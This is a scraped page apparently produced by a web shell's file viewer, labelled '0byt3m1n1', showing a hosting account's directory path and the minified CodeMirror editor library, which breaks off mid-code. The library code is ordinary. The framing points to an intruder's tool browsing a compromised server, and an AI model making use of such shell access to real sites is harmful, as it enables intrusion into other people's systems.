0byt3m1n1
Path:
/
home
/
mgatv524
/
public_html
/
novabrasil
/
web
/
dist
/
vendor
/
ckeditor
/
plugins
/
codemirror
/
js
/
[
Home
]
File: codemirror.min.js
window.CodeMirror=function(){function k(a,b){if(!(this instanceof k))return new k(a,b);this.options=b=b||{};for(var c in Ob)!b.hasOwnProperty(c)&&Ob.hasOwnProperty(c)&&(b[c]=Ob[c]);Pb(b);c=this.display=Pd(a,"string"==typeof b.value?0:b.value.first);c.wrapper.CodeMirror=this;Kc(this);b.autofocus&&!Qb&&M(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,draggingText:!1,highlight:new Rb};Lc(this);b.lineWrapping&&(this.display.wrapper.className+= " CodeMirror-wrap");var d=b.value;"string"==typeof d&&(d=new I(b.value,b.mode));s(this,Mc)(this,d);D&&setTimeout(O(X,this,!0),20);Qd(this);var e;try{e=document.activeElement==c.input}catch(f){}e||b.autofocus&&!Qb?setTimeout(O(Fa,this),20):Sb(this);s(this,function(){for(var a in na)if(na.propertyIsEnumerable(a))na[a](this,b[a],Nc);for(a=0;a<Tb.length;++a)Tb[a](this)})()}function Pd(a,b){var c={},d=c.input=o("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none; font-size: 4px;"); G?d.style.width="1000px":d.setAttribute("wrap","off");Ga&&(d.style.border="1px solid black");d.setAttribute("autocorrect","off");d.setAttribute("autocapitalize","off");d.setAttribute("spellcheck","false");c.inputDiv=o("div",[d],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");c.scrollbarH=o("div",[o("div",null,null,"height: 1px")],"CodeMirror-hscrollbar");c.scrollbarV=o("div",[o("div",null,null,"width: 1px")],"CodeMirror-vscrollbar");c.scrollbarFiller=o("div",null,"CodeMirror-scrollbar-filler"); c.gutterFiller=o("div",null,"CodeMirror-gutter-filler");c.lineDiv=o("div",null,"CodeMirror-code");c.selectionDiv=o("div",null,null,"position: relative; z-index: 1");c.cursor=o("div"," ","CodeMirror-cursor");c.otherCursor=o("div"," ","CodeMirror-cursor CodeMirror-secondarycursor");c.measure=o("div",null,"CodeMirror-measure");c.lineSpace=o("div",[c.measure,c.selectionDiv,c.lineDiv,c.cursor,c.otherCursor],null,"position: relative; outline: none");c.mover=o("div",[o("div",[c.lineSpace],"CodeMirror-lines")], null,"position: relative");c.sizer=o("div",[c.mover],"CodeMirror-sizer");c.heightForcer=o("div",null,null,"position: absolute; height: "+oa+"px; width: 1px;");c.gutters=o("div",null,"CodeMirror-gutters");c.lineGutter=null;c.scroller=o("div",[c.sizer,c.heightForcer,c.gutters],"CodeMirror-scroll");c.scroller.setAttribute("tabIndex","-1");c.wrapper=o("div",[c.inputDiv,c.scrollbarH,c.scrollbarV,c.scrollbarFiller,c.gutterFiller,c.scroller],"CodeMirror");pa&&(c.gutters.style.zIndex=-1,c.scroller.style.paddingRight= 0);a.appendChild?a.appendChild(c.wrapper):a(c.wrapper);Ga&&(d.style.width="0px");G||(c.scroller.draggable=!0);Ub?(c.inputDiv.style.height="1px",c.inputDiv.style.position="absolute"):pa&&(c.scrollbarH.style.minWidth=c.scrollbarV.style.minWidth="18px");c.viewOffset=c.lastSizeC=0;c.showingFrom=c.showingTo=b;c.lineNumWidth=c.lineNumInnerWidth=c.lineNumChars=null;c.prevInput="";c.alignWidgets=!1;c.pollingFast=!1;c.poll=new Rb;c.cachedCharWidth=c.cachedTextHeight=null;c.measureLineCache=[];c.measureLineCachePos= 0;c.inaccurateSelection=!1;c.maxLine=null;c.maxLineLength=0;c.maxLineChanged=!1;c.wheelDX=c.wheelDY=c.wheelStartX=c.wheelStartY=null;return c}function Ha(a){a.doc.mode=k.getMode(a.options,a.doc.modeOption);a.doc.iter(function(a){a.stateAfter&&(a.stateAfter=null);a.styles&&(a.styles=null)});a.doc.frontier=a.doc.first;Ia(a,100);a.state.modeGen++;a.curOp&&w(a)}function Oc(a){var b=qa(a.display),c=a.options.lineWrapping,d=c&&Math.max(5,a.display.scroller.clientWidth/Pc(a.display)-3);return function(e){return ga(a.doc, e)?0:c?(Math.ceil(e.text.length/d)||1)*b:b}}function Vb(a){var b=a.doc,c=Oc(a);b.iter(function(a){var b=c(a);b!=a.height&&P(a,b)})}function Qc(a){var b=Y[a.options.keyMap],c=b.style;a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-keymap-\S+/g,"")+(c?" cm-keymap-"+c:"");a.state.disableInput=b.disableInput}function Lc(a){a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+a.options.theme.replace(/(^|\s)\s*/g," cm-s-");ra(a)}function Ja(a){Kc(a); w(a);setTimeout(function(){Wb(a)},20)}function Kc(a){var b=a.display.gutters,c=a.options.gutters;Ka(b);for(var d=0;d<c.length;++d){var e=c[d],f=b.appendChild(o("div",null,"CodeMirror-gutter "+e));"CodeMirror-linenumbers"==e&&(a.display.lineGutter=f,f.style.width=(a.display.lineNumWidth||1)+"px")}b.style.display=d?"":"none"}function mb(a,b){if(0==b.height)return 0;for(var c=b.text.length,d,e=b;d=sa(e,-1);)d=d.find(),e=p(a,d.from.line),c+=d.from.ch-d.to.ch;for(e=b;d=nb(e);)d=d.find(),c-=e.text.length- d.from.ch,e=p(a,d.to.line),c+=e.text.length-d.to.ch;return c}function Xb(a){var b=a.display,c=a.doc;b.maxLine=p(c,c.first);b.maxLineLength=mb(c,b.maxLine);b.maxLineChanged=!0;c.iter(function(a){var e=mb(c,a);e>b.maxLineLength&&(b.maxLineLength=e,b.maxLine=a)})}function Pb(a){var b=S(a.gutters,"CodeMirror-linenumbers");-1==b&&a.lineNumbers?a.gutters=a.gutters.concat(["CodeMirror-linenumbers"]):-1<b&&!a.lineNumbers&&(a.gutters=a.gutters.slice(0),a.gutters.splice(b,1))}function Yb(a){var b=a.display, c=a.doc.height+(b.mover.offsetHeight-b.lineSpace.offsetHeight);b.sizer.style.minHeight=b.heightForcer.style.top=c+"px";b.gutters.style.height=Math.max(c,b.scroller.clientHeight-oa)+"px";var c=Math.max(c,b.scroller.scrollHeight),d=b.scroller.scrollWidth>b.scroller.clientWidth+1,e=c>b.scroller.clientHeight+1;e?(b.scrollbarV.style.display="block",b.scrollbarV.style.bottom=d?La(b.measure)+"px":"0",b.scrollbarV.firstChild.style.height=c-b.scroller.clientHeight+b.scrollbarV.clientHeight+"px"):(b.scrollbarV.style.display= "",b.scrollbarV.firstChild.style.height="0");d?(b.scrollbarH.style.display="block",b.scrollbarH.style.right=e?La(b.measure)+"px":"0",b.scrollbarH.firstChild.style.width=b.scroller.scrollWidth-b.scroller.clientWidth+b.scrollbarH.clientWidth+"px"):(b.scrollbarH.style.display="",b.scrollbarH.firstChild.style.width="0");d&&e?(b.scrollbarFiller.style.display="block",b.scrollbarFiller.style.height=b.scrollbarFiller.style.width=La(b.measure)+"px"):b.scrollbarFiller.style.display="";d&&a.options.coverGutterNextToScrollbar&& a.options.fixedGutter?(b.gutterFiller.style.display="block",b.gutterFiller.style.height=La(b.measure)+"px",b.gutterFiller.style.width=b.gutters.offsetWidth+"px"):b.gutterFiller.style.display="";Rd&&0===La(b.measure)&&(b.scrollbarV.style.minWidth=b.scrollbarH.style.minHeight=Sd?"18px":"12px",b.scrollbarV.style.pointerEvents=b.scrollbarH.style.pointerEvents="none")}function Zb(a,b,c){var d=a.scroller.scrollTop,e=a.wrapper.clientHeight;"number"==typeof c?d=c:c&&(d=c.top,e=c.bottom-c.top);d=Math.floor(d- a.lineSpace.offsetTop);a=Math.ceil(d+e);return{from:Ma(b,d),to:Ma(b,a)}}function Wb(a){var b=a.display;if(b.alignWidgets||b.gutters.firstChild&&a.options.fixedGutter){for(var c=$b(b)-b.scroller.scrollLeft+a.doc.scrollLeft,d=b.gutters.offsetWidth,e=c+"px",f=b.lineDiv.firstChild;f;f=f.nextSibling)if(f.alignable)for(var g=0,h=f.alignable;g<h.length;++g)h[g].style.left=e;a.options.fixedGutter&&(b.gutters.style.left=c+d+"px")}}function Td(a){if(!a.options.lineNumbers)return!1;var b=a.doc,b=""+a.options.lineNumberFormatter(b.first+ b.size-1+a.options.firstLineNumber),a=a.display;if(b.length!=a.lineNumChars){var c=a.measure.appendChild(o("div",[o("div",b)],"CodeMirror-linenumber CodeMirror-gutter-elt")),d=c.firstChild.offsetWidth,c=c.offsetWidth-d;a.lineGutter.style.width="";a.lineNumInnerWidth=Math.max(d,a.lineGutter.offsetWidth-c);a.lineNumWidth=a.lineNumInnerWidth+c;a.lineNumChars=a.lineNumInnerWidth?b.length:-1;a.lineGutter.style.width=a.lineNumWidth+"px";return!0}return!1}function $b(a){return x(a.scroller).left-x(a.sizer).left} function ob(a,b,c,d){for(var e=a.display.showingFrom,f=a.display.showingTo,g,h=Zb(a.display,a.doc,c),i=!0;;i=!1){var j=a.display.scroller.clientWidth;if(!Ud(a,b,h,d))break;g=!0;b=[];ac(a);Yb(a);if(i&&a.options.lineWrapping&&j!=a.display.scroller.clientWidth)d=!0;else if(d=!1,c&&(c=Math.min(a.display.scroller.scrollHeight-a.display.scroller.clientHeight,"number"==typeof c?c:c.top)),h=Zb(a.display,a.doc,c),h.from>=a.display.showingFrom&&h.to<=a.display.showingTo)break}g&&(E(a,"update",a),(a.display.showingFrom!= e||a.display.showingTo!=f)&&E(a,"viewportChange",a,a.display.showingFrom,a.display.showingTo));return g}function Ud(a,b,c,d){var e=a.display,f=a.doc;if(e.wrapper.clientWidth){if(d||!(0==b.length&&c.from>e.showingFrom&&c.to<e.showingTo)){Td(a)&&(b=[{from:f.first,to:f.first+f.size}]);var g=e.sizer.style.marginLeft=e.gutters.offsetWidth+"px";e.scrollbarH.style.left=a.options.fixedGutter?g:"0";g=Infinity;if(a.options.lineNumbers)for(var h=0;h<b.length;++h)b[h].diff&&b[h].from<g&&(g=b[h].from);var h=f.first+ f.size,i=Math.max(c.from-a.options.viewportMargin,f.first),c=Math.min(h,c.to+a.options.viewportMargin);e.showingFrom<i&&20>i-e.showingFrom&&(i=Math.max(f.first,e.showingFrom));e.showingTo>c&&20>e.showingTo-c&&(c=Math.min(h,e.showingTo));if(Na)for(i=K(Z(f,p(f,i)));c<h&&ga(f,p(f,c));)++c;var j=[{from:Math.max(e.showingFrom,f.first),to:Math.min(e.showingTo,h)}],j=j[0].from>=j[0].to?[]:Vd(j,b);if(Na)for(h=0;h<j.length;++h)for(var b=j[h],l;l=nb(p(f,b.to-1));)if(l=l.find().from.line,l>b.from)b.to=l;else{j.splice(h--, 1);break}for(h=f=0;h<j.length;++h)b=j[h],b.from<i&&(b.from=i),b.to>c&&(b.to=c),b.from>=b.to?j.splice(h--,1):f+=b.to-b.from;if(!d&&f==c-i&&i==e.showingFrom&&c==e.showingTo)Rc(a);else{j.sort(function(a,b){return a.from-b.from});try{var B=document.activeElement}catch(n){}f<0.7*(c-i)&&(e.lineDiv.style.display="none");Wd(a,i,c,j,g);e.lineDiv.style.display="";B&&(document.activeElement!=B&&B.offsetHeight)&&B.focus();if(i!=e.showingFrom||c!=e.showingTo||e.lastSizeC!=e.wrapper.clientHeight)e.lastSizeC=e.wrapper.clientHeight, Ia(a,400);e.showingFrom=i;e.showingTo=c;Xd(a);Rc(a);return!0}}}else e.showingFrom=e.showingTo=f.first,e.viewOffset=0}function Xd(a){for(var a=a.display,b=a.lineDiv.offsetTop,c=a.lineDiv.firstChild,d;c;c=c.nextSibling)if(c.lineObj){if(pa){var e=c.offsetTop+c.offsetHeight;d=e-b;b=e}else d=x(c),d=d.bottom-d.top;e=c.lineObj.height-d;2>d&&(d=qa(a));if(0.001<e||-0.001>e)if(P(c.lineObj,d),d=c.lineObj.widgets)for(e=0;e<d.length;++e)d[e].height=d[e].node.offsetHeight}}function Rc(a){var b=a.display.viewOffset= Oa(a,p(a.doc,a.display.showingFrom));a.display.mover.style.top=b+"px"}function Vd(a,b){for(var c=0,d=b.length||0;c<d;++c){for(var e=b[c],f=[],g=e.diff||0,h=0,i=a.length;h<i;++h){var j=a[h];e.to<=j.from&&e.diff?f.push({from:j.from+g,to:j.to+g}):e.to<=j.from||e.from>=j.to?f.push(j):(e.from>j.from&&f.push({from:j.from,to:e.from}),e.to<j.to&&f.push({from:e.to+g,to:j.to+g}))}a=f}return a}function Yd(a){for(var b=a.display,c={},d={},e=b.gutters.firstChild,f=0;e;e=e.nextSibling,++f)c[a.options.gutters[f]]= e.offsetLeft,d[a.options.gutters[f]]=e.offsetWidth;return{fixedPos:$b(b),gutterTotalWidth:b.gutters.offsetWidth,gutterLeft:c,gutterWidth:d,wrapperWidth:b.wrapper.clientWidth}}function Wd(a,b,c,d,e){function f(b){var c=b.nextSibling;G&&ta&&a.display.currentWheelTarget==b?(b.style.display="none",b.lineObj=null):b.parentNode.removeChild(b);return c}var g=Yd(a),h=a.display,i=a.options.lineNumbers;!d.length&&(!G||!a.display.currentWheelTarget)&&Ka(h.lineDiv);var j=h.lineDiv,l=j.firstChild,B=d.shift(), n=b;for(a.doc.iter(b,c,function(b){B&&B.to==n&&(B=d.shift());if(ga(a.doc,b)){if(0!=b.height&&P(b,0),b.widgets&&l&&l.previousSibling)for(var c=0;c<b.widgets.length;++c){var h=b.widgets[c];if(h.showIfHidden){var k=l.previousSibling;if(/pre/i.test(k.nodeName)){var z=o("div",null,null,"position: relative");k.parentNode.replaceChild(z,k);z.appendChild(k);k=z}z=k.appendChild(o("div",[h.node],"CodeMirror-linewidget"));h.handleMouseEvents||(z.ignoreEvents=!0);bc(h,z,k,g)}}}else if(B&&B.from<=n&&B.to>n){for(;l.lineObj!= b;)l=f(l);i&&(e<=n&&l.lineNumber)&&Sc(l.lineNumber,""+a.options.lineNumberFormatter(n+a.options.firstLineNumber));l=l.nextSibling}else{if(b.widgets)for(var z=0,m=l;m&&20>z;++z,m=m.nextSibling)if(m.lineObj==b&&/div/i.test(m.nodeName)){c=m;break}var z=a,p=n,C=c,u=cc(z,b),m=u.pre,q=b.gutterMarkers,r=z.display,s=u.bgClass?u.bgClass+" "+(b.bgClass||""):b.bgClass;if(!z.options.lineNumbers&&!q&&!s&&!b.wrapClass&&!b.widgets)h=m;else{if(C){C.alignable=null;for(var t=!0,v=0,y=null,D=C.firstChild,x;D;D=x)if(x= D.nextSibling,/\bCodeMirror-linewidget\b/.test(D.className)){for(u=0;u<b.widgets.length;++u){var w=b.widgets[u];if(w.node==D.firstChild){!w.above&&!y&&(y=D);bc(w,D,C,g);++v;break}}if(u==b.widgets.length){t=!1;break}}else C.removeChild(D);C.insertBefore(m,y);t&&v==b.widgets.length&&(h=C,C.className=b.wrapClass||"")}h||(h=o("div",null,b.wrapClass,"position: relative"),h.appendChild(m));s&&h.insertBefore(o("div",null,s+" CodeMirror-linebackground"),h.firstChild);if(z.options.lineNumbers||q){k=h.insertBefore(o("div", null,null,"position: absolute; left: "+(z.options.fixedGutter?g.fixedPos:-g.gutterTotalWidth)+"px"),h.firstChild);z.options.fixedGutter&&(h.alignable||(h.alignable=[])).push(k);if(z.options.lineNumbers&&(!q||!q["CodeMirror-linenumbers"]))h.lineNumber=k.appendChild(o("div",""+z.options.lineNumberFormatter(p+z.options.firstLineNumber),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+g.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+r.lineNumInnerWidth+"px"));if(q)for(u=0;u<z.options.gutters.length;++u)w= z.options.gutters[u],(p=q.hasOwnProperty(w)&&q[w])&&k.appendChild(o("div",[p],"CodeMirror-gutter-elt","left: "+g.gutterLeft[w]+"px; width: "+g.gutterWidth[w]+"px"))}pa&&(h.style.zIndex=2);if(b.widgets&&h!=C){u=0;for(C=b.widgets;u<C.length;++u)w=C[u],q=o("div",[w.node],"CodeMirror-linewidget"),w.handleMouseEvents||(q.ignoreEvents=!0),bc(w,q,h,g),w.above?h.insertBefore(q,z.options.lineNumbers&&0!=b.height?k:m):h.appendChild(q),E(w,"redraw")}}if(h!=c)j.insertBefore(h,l);else{for(;l!=c;)l=f(l);l=l.nextSibling}h.lineObj= b}++n});l;)l=f(l)}function bc(a,b,c,d){a.noHScroll&&((c.alignable||(c.alignable=[])).push(b),c=d.wrapperWidth,b.style.left=d.fixedPos+"px",a.coverGutter||(c-=d.gutterTotalWidth,b.style.paddingLeft=d.gutterTotalWidth+"px"),b.style.width=c+"px");a.coverGutter&&(b.style.zIndex=5,b.style.position="relative",a.noHScroll||(b.style.marginLeft=-d.gutterTotalWidth+"px"))}function ac(a){var b=a.display,c=v(a.doc.sel.from,a.doc.sel.to);if(c||a.options.showCursorWhenSelecting){var d=a.display,e=N(a,a.doc.sel.head, "div");d.cursor.style.left=e.left+"px";d.cursor.style.top=e.top+"px";d.cursor.style.height=Math.max(0,e.bottom-e.top)*a.options.cursorHeight+"px";d.cursor.style.display="";e.other?(d.otherCursor.style.display="",d.otherCursor.style.left=e.other.left+"px",d.otherCursor.style.top=e.other.top+"px",d.otherCursor.style.height=0.85*(e.other.bottom-e.other.top)+"px"):d.otherCursor.style.display="none"}else b.cursor.style.display=b.otherCursor.style.display="none";c?b.selectionDiv.style.display="none":Zd(a); a.options.moveInputWithCursor&&(a=N(a,a.doc.sel.head,"div"),c=x(b.wrapper),d=x(b.lineDiv),b.inputDiv.style.top=Math.max(0,Math.min(b.wrapper.clientHeight-10,a.top+d.top-c.top))+"px",b.inputDiv.style.left=Math.max(0,Math.min(b.wrapper.clientWidth-10,a.left+d.left-c.left))+"px")}function Zd(a){function b(a,b,c,d){0>b&&(b=0);g.appendChild(o("div",null,"CodeMirror-selected","position: absolute; left: "+a+"px; top: "+b+"px; width: "+(null==c?h-a:c)+"px; height: "+(d-b)+"px"))}function c(c,d,f){var g=p(e, c),j=g.text.length,l,k;$d(T(g),d||0,null==f?j:f,function(e,q,C){var u=pb(a,m(c,e),"div",g,"left"),p,o;e==q?(p=u,C=o=u.left):(p=pb(a,m(c,q-1),"div",g,"right"),"rtl"==C&&(C=u,u=p,p=C),C=u.left,o=p.right);null==d&&0==e&&(C=i);3<p.top-u.top&&(b(C,u.top,null,u.bottom),C=i,u.bottom<p.top&&b(C,u.bottom,null,p.top));null==f&&q==j&&(o=h);if(!l||u.top<l.top||u.top==l.top&&u.left<l.left)l=u;if(!k||p.bottom>k.bottom||p.bottom==k.bottom&&p.right>k.right)k=p;C<i+1&&(C=i);b(C,p.top,o-C,p.bottom)});return{start:l, end:k}}var d=a.display,e=a.doc,f=a.doc.sel,g=document.createDocumentFragment(),h=d.lineSpace.offsetWidth,i=U(a.display.measure,o("pre",null,null,"text-align: left")).appendChild(o("span","x")).offsetLeft;if(f.from.line==f.to.line)c(f.from.line,f.from.ch,f.to.ch);else{var j=p(e,f.from.line),l=p(e,f.to.line),l=Z(e,j)==Z(e,l),j=c(f.from.line,f.from.ch,l?j.text.length:null).end,f=c(f.to.line,l?0:null,f.to.ch).start;l&&(j.top<f.top-2?(b(j.right,j.top,null,j.bottom),b(i,f.top,f.left,f.bottom)):b(j.right, j.top,f.left-j.right,j.bottom));j.bottom<f.top&&b(i,j.bottom,null,f.top)}U(d.selectionDiv,g);d.selectionDiv.style.display=""}function qb(a){if(a.state.focused){var b=a.display;clearInterval(b.blinker);var c=!0;b.cursor.style.visibility=b.otherCursor.style.visibility="";0<a.options.cursorBlinkRate&&(b.blinker=setInterval(function(){b.cursor.style.visibility=b.otherCursor.style.visibility=(c=!c)?"":"hidden"},a.options.cursorBlinkRate))}}function Ia(a,b){a.doc.mode.startState&&a.doc.frontier<a.display.showingTo&& a.state.highlight.set(b,O(ae,a))}function ae(a){var b=a.doc;b.frontier<b.first&&(b.frontier=b.first);if(!(b.frontier>=a.display.showingTo)){var c=+new Date+a.options.workTime,d=ua(b.mode,Pa(a,b.frontier)),e=[],f;b.iter(b.frontier,Math.min(b.first+b.size,a.display.showingTo+500),function(g){if(b.frontier>=a.display.showingFrom){var h=g.styles;g.styles=Uc(a,g,d,true);for(var i=!h||h.length!=g.styles.length,j=0;!i&&j<h.length;++j)i=h[j]!=g.styles[j];i&&(f&&f.end==b.frontier?f.end++:e.push(f={start:b.frontier, end:b.frontier+1}));g.stateAfter=ua(b.mode,d)}else{dc(a,g.text,d);g.stateAfter=b.frontier%5==0?ua(b.mode,d):null}++b.frontier;if(+new Date>c){Ia(a,a.options.workDelay);return true}});e.length&&s(a,function(){for(var a=0;a<e.length;++a)w(this,e[a].start,e[a].end)})()}}function be(a,b,c){for(var d,e,f=a.doc,g=c?-1:b-(a.doc.mode.innerMode?1E3:100);b>g;--b){if(b<=f.first)return f.first;var h=p(f,b-1);if(h.stateAfter&&(!c||b<=f.frontier))return b;h=va(h.text,null,a.options.tabSize);if(null==e||d>h)e=b- 1,d=h}return e}function Pa(a,b,c){var d=a.doc,e=a.display;if(!d.mode.startState)return!0;var f=be(a,b,c),g=f>d.first&&p(d,f-1).stateAfter,g=g?ua(d.mode,g):Vc(d.mode);d.iter(f,b,function(c){dc(a,c.text,g);c.stateAfter=f==b-1||0==f%5||f>=e.showingFrom&&f<e.showingTo?ua(d.mode,g):null;++f});c&&(d.frontier=f);return g}function Qa(a,b,c,d,e){var f=-1,d=d||ec(a,b);if(d.crude)return c=d.left+c*d.width,{left:c,right:c+d.width,top:d.top,bottom:d.bottom};for(a=c;;a+=f){var g=d[a];if(g)break;0>f&&0==a&&(f=1)}e= a>c?"left":a<c?"right":e;"left"==e&&g.leftSide?g=g.leftSide:"right"==e&&g.rightSide&&(g=g.rightSide);return{left:a<c?g.right:g.left,right:a>c?g.left:g.right,top:g.top,bottom:g.bottom}}function fc(a,b){for(var c=a.display.measureLineCache,d=0;d<c.length;++d){var e=c[d];if(e.text==b.text&&e.markedSpans==b.markedSpans&&a.display.scroller.clientWidth==e.width&&e.classes==b.textClass+"|"+b.wrapClass)return e}}function ce(a,b){var c=fc(a,b);c&&(c.text=c.measure=c.markedSpans=null)}function ec(a,b){var c= fc(a,b);if(c)return c.measure;var c=Wc(a,b),d=a.display.measureLineCache,e={text:b.text,width:a.display.scroller.clientWidth,markedSpans:b.markedSpans,measure:c,classes:b.textClass+"|"+b.wrapClass};16==d.length?d[++a.display.measureLineCachePos%16]=e:d.push(e);return c}function Wc(a,b){function c(a){var b=a.top-$.top,c=a.bottom-$.top;c>m&&(c=m);0>b&&(b=0);for(var d=k.length-2;0<=d;d-=2){var e=k[d],f=k[d+1];if(!(e>c||f<b))if(e<=b&&f>=c||b<=e&&c>=f||Math.min(c,f)-Math.max(b,e)>=c-b>>1){k[d]=Math.min(b, e);k[d+1]=Math.max(c,f);break}}0>d&&(d=k.length,k.push(b,c));return{left:a.left-$.left,right:a.right-$.left,top:d,bottom:null}}function d(a){a.bottom=k[a.top+1];a.top=k[a.top]}if(!a.options.lineWrapping&&b.text.length>=a.options.crudeMeasuringFrom)return de(a,b);var e=a.display,f=Xc(b.text.length),g=cc(a,b,f,!0).pre;if(D&&!pa&&!a.options.lineWrapping&&100<g.childNodes.length){for(var h=document.createDocumentFragment(),i=g.childNodes.length,j=0,l=Math.ceil(i/10);j<l;++j){for(var B=o("div",null,null, "display: inline-block"),n=0;10>n&&i;++n)B.appendChild(g.firstChild),--i;h.appendChild(B)}g.appendChild(h)}U(e.measure,g);var $=x(e.lineDiv),k=[],h=Xc(b.text.length),m=g.offsetHeight;L&&e.measure.first!=g&&U(e.measure,g);for(j=0;j<f.length;++j)if(e=f[j]){g=e;i=null;if(/\bCodeMirror-widget\b/.test(e.className)&&e.getClientRects&&(1==e.firstChild.nodeType&&(g=e.firstChild),l=g.getClientRects(),1<l.length))i=h[j]=c(l[0]),i.rightSide=c(l[l.length-1]);i||(i=h[j]=c(x(g)));e.measureRight&&(i.right=x(e.measureRight).left); e.leftSide&&(i.leftSide=c(x(e.leftSide)))}Ka(a.display.measure);for(j=0;j<h.length;++j)if(e=h[j])d(e),e.leftSide&&d(e.leftSide),e.rightSide&&d(e.rightSide);return h}function de(a,b){var c=new ca(b.text.slice(0,100),null);b.textClass&&(c.textClass=b.textClass);var d=Wc(a,c),e=Qa(a,c,0,d,"left"),c=Qa(a,c,99,d,"right");return{crude:!0,top:e.top,left:e.left,bottom:e.bottom,width:(c.right-e.left)/100}}function ra(a){a.display.measureLineCache.length=a.display.measureLineCachePos=0;a.display.cachedCharWidth= a.display.cachedTextHeight=null;a.options.lineWrapping||(a.display.maxLineChanged=!0);a.display.lineNumChars=null}function gc(a,b,c,d){if(b.widgets)for(var e=0;e<b.widgets.length;++e)if(b.widgets[e].above){var f=rb(b.widgets[e]);c.top+=f;c.bottom+=f}if("line"==d)return c;d||(d="local");b=Oa(a,b);b="local"==d?b+a.display.lineSpace.offsetTop:b-a.display.viewOffset;if("page"==d||"window"==d)a=x(a.display.lineSpace),b+=a.top+("window"==d?0:window.pageYOffset||(document.documentElement||document.body).scrollTop), d=a.left+("window"==d?0:window.pageXOffset||(document.documentElement||document.body).scrollLeft),c.left+=d,c.right+=d;c.top+=b;c.bottom+=b;return c}function Yc(a,b,c){if("div"==c)return b;var d=b.left,b=b.top;if("page"==c)d-=window.pageXOffset||(document.documentElement||document.body).scrollLeft,b-=window.pageYOffset||(document.documentElement||document.body).scrollTop;else if("local"==c||!c)c=x(a.display.sizer),d+=c.left,b+=c.top;a=x(a.display.lineSpace);return{left:d-a.left,top:b-a.top}}function pb(a, b,c,d,e){d||(d=p(a.doc,b.line));return gc(a,d,Qa(a,d,b.ch,null,e),c)}function N(a,b,c,d,e){function f(b,f){var g=Qa(a,d,b,e,f?"right":"left");f?g.left=g.right:g.right=g.left;return gc(a,d,g,c)}function g(a,b){var c=h[b],d=c.level%2;a==(c.level%2?c.to:c.from)&&b&&c.level<h[b-1].level?(c=h[--b],a=hc(c)-(c.level%2?0:1),d=!0):a==hc(c)&&(b<h.length-1&&c.level<h[b+1].level)&&(c=h[++b],a=(c.level%2?c.to:c.from)-c.level%2,d=!1);return d&&a==c.to&&a>c.from?f(a-1):f(a,d)}d=d||p(a.doc,b.line);e||(e=ec(a,d)); var h=T(d),b=b.ch;if(!h)return f(b);var i=ic(h,b),i=g(b,i);null!=wa&&(i.other=g(b,wa));return i}function sb(a,b,c,d){a=new m(a,b);a.xRel=d;c&&(a.outside=!0);return a}function jc(a,b,c){var d=a.doc,c=c+a.display.viewOffset;if(0>c)return sb(d.first,0,!0,-1);var e=Ma(d,c),f=d.first+d.size-1;if(e>f)return sb(d.first+d.size-1,p(d,f).text.length,!0,1);for(0>b&&(b=0);;){var f=p(d,e),e=ee(a,f,e,b,c),g=(f=nb(f))&&f.find();if(f&&(e.ch>g.from.ch||e.ch==g.from.ch&&0<e.xRel))e=g.to.line;else return e}}function ee(a, b,c,d,e){function f(d){d=N(a,m(c,d),"line",b,j);h=!0;if(g>d.bottom)return d.left-i;if(g<d.top)return d.left+i;h=!1;return d.left}var g=e-Oa(a,b),h=!1,i=2*a.display.wrapper.clientWidth,j=ec(a,b),l=T(b),B=b.text.length,e=tb(b),n=ub(b),$=f(e),k=h,p=f(n),q=h;if(d>p)return sb(c,n,q,1);for(;;){if(l?n==e||n==kc(b,e,1):1>=n-e){l=d<$||d-$<=p-d?e:n;for(d-=l==e?$:p;lc.test(b.text.charAt(l));)++l;return sb(c,l,l==e?k:q,0>d?-1:d?1:0)}var o=Math.ceil(B/2),r=e+o;if(l)for(var r=e,s=0;s<o;++s)r=kc(b,r,1);s=f(r);if(s> d){n=r;p=s;if(q=h)p+=1E3;B=o}else e=r,$=s,k=h,B-=o}}function qa(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==ha){ha=o("pre");for(var b=0;49>b;++b)ha.appendChild(document.createTextNode("x")),ha.appendChild(o("br"));ha.appendChild(document.createTextNode("x"))}U(a.measure,ha);b=ha.offsetHeight/50;3<b&&(a.cachedTextHeight=b);Ka(a.measure);return b||1}function Pc(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;var b=o("span","x"),c=o("pre",[b]);U(a.measure,c);b=b.offsetWidth; 2<b&&(a.cachedCharWidth=b);return b||10}function xa(a){a.curOp={changes:[],forceUpdate:!1,updateInput:null,userSelChange:null,textChanged:null,selectionChanged:!1,cursorActivity:!1,updateMaxLine:!1,updateScrollPos:!1,id:++fe};vb++||(da=[])}function ya(a){var b=a.curOp,c=a.doc,d=a.display;a.curOp=null;b.updateMaxLine&&Xb(a);if(d.maxLineChanged&&!a.options.lineWrapping&&d.maxLine){var e;e=d.maxLine;var f=!1;if(e.markedSpans)for(var g=0;g<e.markedSpans;++g){var h=e.markedSpans[g];if(h.collapsed&&(null== h.to||h.to==e.text.length))f=!0}(f=!f&&fc(a,e))||e.text.length>=a.options.crudeMeasuringFrom?e=Qa(a,e,e.text.length,f&&f.measure,"right").right:(e=cc(a,e,null,!0).pre,f=e.appendChild(Ra(a.display.measure)),U(a.display.measure,e),e=x(f).right-x(a.display.lineDiv).left);d.sizer.style.minWidth=Math.max(0,e+3+oa)+"px";d.maxLineChanged=!1;e=Math.max(0,d.sizer.offsetLeft+d.sizer.offsetWidth-d.scroller.clientWidth);e<c.scrollLeft&&!b.updateScrollPos&&za(a,Math.min(d.scroller.scrollLeft,e),!0)}var i,j;b.updateScrollPos? 